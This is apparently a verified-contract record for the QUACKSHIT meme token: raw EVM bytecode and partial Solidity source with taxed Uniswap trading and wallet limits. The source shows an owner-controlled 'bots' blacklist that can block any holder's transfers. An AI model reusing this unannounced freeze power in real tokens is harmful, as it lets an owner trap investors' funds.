36b578063d34628cc1461037f578063dd62ed3e1461039e578063ec1f3f63146103e2575f80fd5b8063751039fc146102d35780637d1db4a5146102e75780638da5cb5b146102fc5780638f9a55c01461032257806395d89b411461013f575f80fd5b8063313ce567116100f9578063313ce5671461020457806331c2d8471461021f5780633bbac5791461024057806351bc3c851461027757806370a082311461028b578063715018a6146102bf575f80fd5b806306fdde031461013f578063095ea7b31461017f5780630faee56f146101ae57806318160ddd146101d157806323b872dd146101e5575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50604080518082018252600981526814555050d2d4d2125560ba1b60208201529051610176919061156b565b60405180910390f35b34801561018a575f80fd5b5061019e6101993660046115de565b610401565b6040519015158152602001610176565b3480156101b9575f80fd5b506101c360115481565b604051908152602001610176565b3480156101dc575f80fd5b506101c3610417565b3480156101f0575f80fd5b5061019e6101ff366004611608565b610437565b34801561020f575f80fd5b5060405160098152602001610176565b34801561022a575f80fd5b5061023e61023936600461165a565b61049e565b005b34801561024b575f80fd5b5061019e61025a36600461171a565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610282575f80fd5b5061023e61052e565b348015610296575f80fd5b506101c36102a536600461171a565b6001600160a01b03165f9081526001602052604090205490565b3480156102ca575f80fd5b5061023e61057b565b3480156102de575f80fd5b5061023e6105ec565b3480156102f2575f80fd5b506101c3600e5481565b348015610307575f80fd5b505f546040516001600160a01b039091168152602001610176565b34801561032d575f80fd5b506101c3600f5481565b348015610342575f80fd5b5061019e6103513660046115de565b61069d565b348015610361575f80fd5b506101c360105481565b348015610376575f80fd5b5061023e6106a9565b34801561038a575f80fd5b5061023e61039936600461165a565b610a52565b3480156103a9575f80fd5b506101c36103b8366004611735565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103ed575f80fd5b5061023e6103fc36600461176c565b610ad6565b5f61040d338484610b1b565b5060015b92915050565b5f6104246009600a611877565b61043290633b9aca00611885565b905090565b5f610443848484610c3e565b610494843361048f85604051806060016040528060288152602001611a19602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111e7565b610b1b565b5060019392505050565b5f546001600160a01b031633146104d05760405162461bcd60e51b81526004016104c79061189c565b60405180910390fd5b5f5b815181101561052a575f60045f8484815181106104f1576104f16118d1565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104d2565b5050565b6005546001600160a01b0316336001600160a01b03161461054d575f80fd5b305f90815260016020526040902054801561056b5761056b8161121f565b47801561052a5761052a8161138f565b5f546001600160a01b031633146105a45760405162461bcd60e51b81526004016104c79061189c565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106155760405162461bcd60e51b81526004016104c79061189c565b6106216009600a611877565b61062f90633b9aca00611885565b600e5561063e6009600a611877565b61064c90633b9aca00611885565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61067c6009600a611877565b61068a90633b9aca00611885565b60405190815260200160405180910390a1565b5f61040d338484610c3e565b5f546001600160a01b031633146106d25760405162461bcd60e51b81526004016104c79061189c565b601354600160a01b900460ff161561072c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c7565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107759030906107676009600a611877565b61048f90633b9aca00611885565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107e991906118e5565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610848573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086c91906118e5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108da91906118e5565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610921816001600160a01b03165f9081526001602052604090205490565b5f806109345f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561099a573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109bf9190611900565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a14573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a38919061192b565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610a7b5760405162461bcd60e51b81526004016104c79061189c565b5f5b815181101561052a57600160045f848481518110610a9d57610a9d6118d1565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610a7d565b6005546001600160a01b0316336001600160a01b031614610af5575f80fd5b6008548111158015610b0957506009548111155b610b11575f80fd5b6008819055600955565b6001600160a01b038316610b7d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c7565b6001600160a01b038216610bde5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c7565b6001600160a01b038216610d045760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c7565b5f8111610d655760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c7565b5f80546001600160a01b03858116911614801590610d9057505f546001600160a01b03848116911614155b156110aa576001600160a01b0384165f9081526004602052604090205460ff16158015610dd557506001600160a01b0383165f9081526004602052604090205460ff16155b610ddd575f80fd5b610e096064610e03600a54600d5411610df857600654610dfc565b6008545b85906113c6565b9061144b565b6013549091506001600160a01b038581169116148015610e3757506012546001600160a01b03848116911614155b8015610e5b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f4157600e54821115610eb25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c7565b600f5482610ed4856001600160a01b03165f9081526001602052604090205490565b610ede919061194a565b1115610f2c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c7565b600d8054905f610f3b8361195d565b91905055505b6013546001600160a01b038481169116148015610f6757506001600160a01b0384163014155b15610f9457610f916064610e03600b54600d5411610f8757600754610dfc565b60095485906113c6565b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610fca57506013546001600160a01b038581169116145b8015610fdf5750601354600160b01b900460ff165b8015610fec575060105481115b8015610ffb5750600c54600d54115b156110a85760155443111561100f575f6014555b6003601454106110615760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b2100000000000000000060448201526064016104c7565b61107e611079846110748460115461148c565b61148c565b61121f565b47801561108e5761108e4761138f565b60148054905f61109d8361195d565b909155505043601555505b505b801561112257305f908152600160205260409020546110c990826114a0565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111199085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461114490836114fe565b6001600160a01b0385165f9081526001602052604090205561118761116983836114fe565b6001600160a01b0385165f90815260016020526040902054906114a0565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111d085856114fe565b60405190815260200160405180910390a350505050565b5f818484111561120a5760405162461bcd60e51b81526004016104c7919061156b565b505f6112168486611975565b95945050505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611265576112656118d1565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112e091906118e5565b816001815181106112f3576112f36118d1565b6001600160a01b0392831660209182029290920101526012546113199130911684610b1b565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113519085905f90869030904290600401611988565b5f604051808303815f87803b158015611368575f80fd5b505af115801561137a573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561052a573d5f803e3d5ffd5b5f825f036113d557505f610411565b5f6113e08385611885565b9050826113ed85836119f9565b146114445760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c7565b9392505050565b5f61144483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061153f565b5f81831161149a5782611444565b50919050565b5f806114ac838561194a565b9050838110156114445760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c7565b5f61144483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e7565b5f818361155f5760405162461bcd60e51b81526004016104c7919061156b565b505f61121684866119f9565b5f602080835283518060208501525f5b818110156115975785810183015185820160400152820161157b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115cb575f80fd5b50565b80356115d9816115b7565b919050565b5f80604083850312156115ef575f80fd5b82356115fa816115b7565b946020939093013593505050565b5f805f6060848603121561161a575f80fd5b8335611625816115b7565b92506020840135611635816115b7565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f602080838503121561166b575f80fd5b823567ffffffffffffffff80821115611682575f80fd5b818501915085601f830112611695575f80fd5b8135818111156116a7576116a7611646565b8060051b604051601f19603f830116810181811085821117156116cc576116cc611646565b6040529182528482019250838101850191888311156116e9575f80fd5b938501935b8285101561170e576116ff856115ce565b845293850193928501926116ee565b98975050505050505050565b5f6020828403121561172a575f80fd5b8135611444816115b7565b5f8060408385031215611746575f80fd5b8235611751816115b7565b91506020830135611761816115b7565b809150509250929050565b5f6020828403121561177c575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117d157815f19048211156117b7576117b7611783565b808516156117c457918102915b93841c939080029061179c565b509250929050565b5f826117e757506001610411565b816117f357505f610411565b816001811461180957600281146118135761182f565b6001915050610411565b60ff84111561182457611824611783565b50506001821b610411565b5060208310610133831016604e8410600b8410161715611852575081810a610411565b61185c8383611797565b805f190482111561186f5761186f611783565b029392505050565b5f61144460ff8416836117d9565b808202811582820484141761041157610411611783565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156118f5575f80fd5b8151611444816115b7565b5f805f60608486031215611912575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561193b575f80fd5b81518015158114611444575f80fd5b8082018082111561041157610411611783565b5f6001820161196e5761196e611783565b5060010190565b8181038181111561041157610411611783565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119d85784516001600160a01b0316835293830193918301916001016119b3565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a1357634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220927fd7cb0bfebb452ee37ae2de56f806216c46122dbaad86e19deb4b59a9a28e64736f6c63430008170033 | 608060405260043610610134575f3560e01c8063751039fc116100a8578063a9059cbb1161006d578063a9059cbb14610337578063bf474bed14610356578063c9567bf91461036b578063d34628cc1461037f578063dd62ed3e1461039e578063ec1f3f63146103e2575f80fd5b8063751039fc146102d35780637d1db4a5146102e75780638da5cb5b146102fc5780638f9a55c01461032257806395d89b411461013f575f80fd5b8063313ce567116100f9578063313ce5671461020457806331c2d8471461021f5780633bbac5791461024057806351bc3c851461027757806370a082311461028b578063715018a6146102bf575f80fd5b806306fdde031461013f578063095ea7b31461017f5780630faee56f146101ae57806318160ddd146101d157806323b872dd146101e5575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50604080518082018252600981526814555050d2d4d2125560ba1b60208201529051610176919061156b565b60405180910390f35b34801561018a575f80fd5b5061019e6101993660046115de565b610401565b6040519015158152602001610176565b3480156101b9575f80fd5b506101c360115481565b604051908152602001610176565b3480156101dc575f80fd5b506101c3610417565b3480156101f0575f80fd5b5061019e6101ff366004611608565b610437565b34801561020f575f80fd5b5060405160098152602001610176565b34801561022a575f80fd5b5061023e61023936600461165a565b61049e565b005b34801561024b575f80fd5b5061019e61025a36600461171a565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610282575f80fd5b5061023e61052e565b348015610296575f80fd5b506101c36102a536600461171a565b6001600160a01b03165f9081526001602052604090205490565b3480156102ca575f80fd5b5061023e61057b565b3480156102de575f80fd5b5061023e6105ec565b3480156102f2575f80fd5b506101c3600e5481565b348015610307575f80fd5b505f546040516001600160a01b039091168152602001610176565b34801561032d575f80fd5b506101c3600f5481565b348015610342575f80fd5b5061019e6103513660046115de565b61069d565b348015610361575f80fd5b506101c360105481565b348015610376575f80fd5b5061023e6106a9565b34801561038a575f80fd5b5061023e61039936600461165a565b610a52565b3480156103a9575f80fd5b506101c36103b8366004611735565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103ed575f80fd5b5061023e6103fc36600461176c565b610ad6565b5f61040d338484610b1b565b5060015b92915050565b5f6104246009600a611877565b61043290633b9aca00611885565b905090565b5f610443848484610c3e565b610494843361048f85604051806060016040528060288152602001611a19602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111e7565b610b1b565b5060019392505050565b5f546001600160a01b031633146104d05760405162461bcd60e51b81526004016104c79061189c565b60405180910390fd5b5f5b815181101561052a575f60045f8484815181106104f1576104f16118d1565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104d2565b5050565b6005546001600160a01b0316336001600160a01b03161461054d575f80fd5b305f90815260016020526040902054801561056b5761056b8161121f565b47801561052a5761052a8161138f565b5f546001600160a01b031633146105a45760405162461bcd60e51b81526004016104c79061189c565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106155760405162461bcd60e51b81526004016104c79061189c565b6106216009600a611877565b61062f90633b9aca00611885565b600e5561063e6009600a611877565b61064c90633b9aca00611885565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61067c6009600a611877565b61068a90633b9aca00611885565b60405190815260200160405180910390a1565b5f61040d338484610c3e565b5f546001600160a01b031633146106d25760405162461bcd60e51b81526004016104c79061189c565b601354600160a01b900460ff161561072c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c7565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107759030906107676009600a611877565b61048f90633b9aca00611885565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107e991906118e5565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610848573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086c91906118e5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108da91906118e5565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610921816001600160a01b03165f9081526001602052604090205490565b5f806109345f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561099a573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109bf9190611900565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a14573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a38919061192b565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610a7b5760405162461bcd60e51b81526004016104c79061189c565b5f5b815181101561052a57600160045f848481518110610a9d57610a9d6118d1565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610a7d565b6005546001600160a01b0316336001600160a01b031614610af5575f80fd5b6008548111158015610b0957506009548111155b610b11575f80fd5b6008819055600955565b6001600160a01b038316610b7d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c7565b6001600160a01b038216610bde5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c7565b6001600160a01b038216610d045760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c7565b5f8111610d655760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c7565b5f80546001600160a01b03858116911614801590610d9057505f546001600160a01b03848116911614155b156110aa576001600160a01b0384165f9081526004602052604090205460ff16158015610dd557506001600160a01b0383165f9081526004602052604090205460ff16155b610ddd575f80fd5b610e096064610e03600a54600d5411610df857600654610dfc565b6008545b85906113c6565b9061144b565b6013549091506001600160a01b038581169116148015610e3757506012546001600160a01b03848116911614155b8015610e5b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f4157600e54821115610eb25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c7565b600f5482610ed4856001600160a01b03165f9081526001602052604090205490565b610ede919061194a565b1115610f2c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c7565b600d8054905f610f3b8361195d565b91905055505b6013546001600160a01b038481169116148015610f6757506001600160a01b0384163014155b15610f9457610f916064610e03600b54600d5411610f8757600754610dfc565b60095485906113c6565b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610fca57506013546001600160a01b038581169116145b8015610fdf5750601354600160b01b900460ff165b8015610fec575060105481115b8015610ffb5750600c54600d54115b156110a85760155443111561100f575f6014555b6003601454106110615760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b2100000000000000000060448201526064016104c7565b61107e611079846110748460115461148c565b61148c565b61121f565b47801561108e5761108e4761138f565b60148054905f61109d8361195d565b909155505043601555505b505b801561112257305f908152600160205260409020546110c990826114a0565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111199085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461114490836114fe565b6001600160a01b0385165f9081526001602052604090205561118761116983836114fe565b6001600160a01b0385165f90815260016020526040902054906114a0565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111d085856114fe565b60405190815260200160405180910390a350505050565b5f818484111561120a5760405162461bcd60e51b81526004016104c7919061156b565b505f6112168486611975565b95945050505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611265576112656118d1565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112e091906118e5565b816001815181106112f3576112f36118d1565b6001600160a01b0392831660209182029290920101526012546113199130911684610b1b565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113519085905f90869030904290600401611988565b5f604051808303815f87803b158015611368575f80fd5b505af115801561137a573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561052a573d5f803e3d5ffd5b5f825f036113d557505f610411565b5f6113e08385611885565b9050826113ed85836119f9565b146114445760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c7565b9392505050565b5f61144483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061153f565b5f81831161149a5782611444565b50919050565b5f806114ac838561194a565b9050838110156114445760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c7565b5f61144483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e7565b5f818361155f5760405162461bcd60e51b81526004016104c7919061156b565b505f61121684866119f9565b5f602080835283518060208501525f5b818110156115975785810183015185820160400152820161157b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115cb575f80fd5b50565b80356115d9816115b7565b919050565b5f80604083850312156115ef575f80fd5b82356115fa816115b7565b946020939093013593505050565b5f805f6060848603121561161a575f80fd5b8335611625816115b7565b92506020840135611635816115b7565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f602080838503121561166b575f80fd5b823567ffffffffffffffff80821115611682575f80fd5b818501915085601f830112611695575f80fd5b8135818111156116a7576116a7611646565b8060051b604051601f19603f830116810181811085821117156116cc576116cc611646565b6040529182528482019250838101850191888311156116e9575f80fd5b938501935b8285101561170e576116ff856115ce565b845293850193928501926116ee565b98975050505050505050565b5f6020828403121561172a575f80fd5b8135611444816115b7565b5f8060408385031215611746575f80fd5b8235611751816115b7565b91506020830135611761816115b7565b809150509250929050565b5f6020828403121561177c575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117d157815f19048211156117b7576117b7611783565b808516156117c457918102915b93841c939080029061179c565b509250929050565b5f826117e757506001610411565b816117f357505f610411565b816001811461180957600281146118135761182f565b6001915050610411565b60ff84111561182457611824611783565b50506001821b610411565b5060208310610133831016604e8410600b8410161715611852575081810a610411565b61185c8383611797565b805f190482111561186f5761186f611783565b029392505050565b5f61144460ff8416836117d9565b808202811582820484141761041157610411611783565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156118f5575f80fd5b8151611444816115b7565b5f805f60608486031215611912575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561193b575f80fd5b81518015158114611444575f80fd5b8082018082111561041157610411611783565b5f6001820161196e5761196e611783565b5060010190565b8181038181111561041157610411611783565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119d85784516001600160a01b0316835293830193918301916001016119b3565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a1357634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220927fd7cb0bfebb452ee37ae2de56f806216c46122dbaad86e19deb4b59a9a28e64736f6c63430008170033 | // SPDX-License-Identifier: UNLICENSE
/*
https://www.quackshit.xyz/
https://t.me/QUACKSHITportal
https://x.com/quackshiterc20
*/
pragma solidity 0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract QSHIT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
address payable private _taxWallet;
uint256 private _initialBuyTax=20;
uint256 private _initialSellTax=20;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=20;
uint256 private _reduceSellTaxAt=20;
uint256 private _preventSwapBefore=20;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
string private constant _name = unicode"QUACKSHIT";
string private constant _symbol = unicode"QUACKSHIT";
uint256 public _maxTxAmount = 30000000 * 10**_decimals;
uint256 public _maxWalletSize = 30000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 1000000 * 10**_decimals;
uint256 public _maxTaxSwap= 30000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
